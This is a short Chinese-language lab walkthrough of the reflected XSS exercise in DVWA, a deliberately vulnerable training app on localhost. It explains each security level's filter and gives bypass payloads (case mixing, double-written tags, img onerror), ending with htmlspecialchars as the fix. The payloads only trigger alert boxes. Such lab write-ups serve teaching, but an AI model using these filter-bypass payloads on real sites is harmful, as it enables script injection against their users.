DVWA之XSS(反射型)
伺服器程式碼 LOW
array_key_exists(key,array)函式檢查某個陣列中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false。可以看出程式碼只是判斷name是否存在是否為空,並沒有任何的過濾。
漏洞利用
url:http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<script>alert(%2Fxss%2F)<%2Fscript>#
伺服器端程式碼Medium
str_replace(find,replace,string,count) 函式替換字串中的一些字元(區分大小寫),count可選。一個變數,對替換數進行計數。類似黑名單的思想。
1.大小寫混淆繞過
url:http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<ScRipt>alert(%2Fxss%2F)<%2Fscript>#
2.雙寫繞過
<sc< script>ript>alert(/xss/)
伺服器段程式碼High
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)函式執行一個正則表示式的搜尋和替換。這使得雙寫繞過、大小寫混淆繞過(正則表示式中i表示不區分大小寫)不再有效。
無法使用< script>標籤注入XSS程式碼,但是可以通過img、body等標籤的事件或者iframe等標籤的src注入惡意的js程式碼。
< img src=1 onerror=alert(/xss/)>
url: http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img+src%3D1+onerror%3Dalert(%2Fxss%2F)>#
伺服器端程式碼Impossible
htmlspecialchars() 函式把預定義的字元轉換為 HTML 實體。防止瀏覽器將其作為HTML元素。
預定義的字元是:
& (和號)成為 &
" (雙引號)成為 "
' (單引號)成為 '
< (小於)成為 <
> (大於)成為 >